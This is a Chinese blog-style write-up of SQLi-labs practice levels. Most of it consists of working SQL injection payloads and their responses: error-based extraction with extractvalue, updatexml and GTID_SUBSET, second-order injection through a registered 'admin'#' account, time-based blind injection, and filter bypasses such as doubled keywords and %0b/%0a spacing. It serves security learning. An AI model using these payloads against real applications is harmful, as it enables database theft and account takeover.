★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
先确认是否可以SQL注入,使用单双引号,1/0,括号测试 ’ " 1/0 ),页面显示不同内容或响应长度来确定。存在SQL注入后则开始构造轮子进行验证,猜出数据库,用户名,表名,字段名,有没有文件漏洞等。
为方便验证提交拦截到BP,右击到Repeater修改参数值进行验证看响应内容。
特殊字符说明
+表示空格
--表示注释
GET - Error based - strip comments
正常响应长度
输入带单引号’,响 应长度有变化
在测试过程中发现union 联合查询的方式一直报错,尝试报错函数成功爆出。
报错函数extractvalue,0x7e是~的ASCII码,字符型后面有加单引号,数字型没有,根据报错函数获取到数据库名,登录名。
# 输入内容
'and+extractvalue(1,concat(0x7e,(select+database()),0x7e))='1
# 输出内容
XPATH syntax error: '~security~'
# 输入内容
'and+extractvalue(1,concat(0x7e,(select+user()),0x7e))='1
# 输出内容
XPATH syntax error: '~root@localhost~'
POST-Second order lnjections Real treat - stored lnjections
二次注入,先注册一个账号带有注释功能的,然后登录,再修改密码
账号:admin'#
密码:123456
修改目标密码为123,用账号:admin,密码:123登录验证是否成功。
GET - Error based - All your OR & AND belong to us -string single quote
在测试过程中发现union 联合查询的方式没有达到预期值,尝试报错函数成功爆出。
报错函数extractvalue(),updatexml()没有达到预期值,GTID_SUBSET()成功爆出。
# 输入内容
'-GTID_SUBSET(database(),1)-'
# 输出内容
Malformed GTID set specification 'security'.
# 输入内容
'-GTID_SUBSET(user(),1)-'
# 输出内容
Malformed GTID set specification 'root@localhost'.
GET - Blind Based - All your OR & AND belong to us- lntiger based
过滤 or and 关键字 采用重复的方式处理
oorr --> or
anandd --> and
# 输入内容
+anandd+if(1=1,sleep(1),sleep(5))--+
# 输入内容
+anandd+if(length(database())=5,1,0)--+
在Repeater右击发送到Intruder,先清除默认的标志位,自己定位到数字5,这个值任意填写的。Attack Type选择:Sniper,参数设置看截图说明。
# 输入内容
+anandd+if(substr(database(),1,1)='a',1,0)--+
爆破参数设置看截图说明,需要2个参数,第一个是截取的数据库对应的字段索引,第二个是匹配的内容。
GET - Error based - All your SPACEs and COMMENTS belong to us
参考博客:https://blog.csdn.net/m0_71299382/article/details/127944148
回显位在第2位
# 输入内容-数据库名
0'%0bunion%0bselect%0b1,database(),3||'1'='1
# 输入内容-登录名
0'%0bunion%0bselect%0b1,user(),3||'1'='1
GET - Error Based-All your UNION & SELECT Belong to us - String - single quote
参考:https://blog.csdn.net/qq_73393033/article/details/132106554
%26是&的URL编码
# 输入内容
'%26%26updatexml(1,concat('~',database(),'~',user()),1)%26%26'1'='1
# 输出内容
XPATH syntax error: '~security~root@localhost'
# 输入内容
'%26%26extractvalue(1,concat(0x7e,(select+database()),0x7e))=1%26%26'1'='1
# 输出内容
XPATH syntax error: '~security~'
GET -Error Based- All your UNION & SELECT Belong to us - String -Single quote with parenthesis
参考:https://blog.csdn.net/m0_57736664/article/details/128553406
看源码参数闭合是')
,尝试验证是不是4个字段,没有回显,修改为了3时回显了,因此可确定是3个字段
# 输入内容
')order%0Aby%0A4;%00
# 页面没有预期回显数据
# 修改为3
')order%0Aby%0A3;%00
回显位在第2位
# 输入内容-数据库
0')union%0aunion%0aselectselect%0a1,database(),3||('1')=('1
# 输入内容-登录名
0')union%0aunion%0aselectselect%0a1,user(),3||('1')=('1
截止到目前SQL注入的内容已经分享了7篇,后面会有一篇关于ByPass(绕过)和总结的内容。敬请关注我的公众号:大象只为你,持续更新中…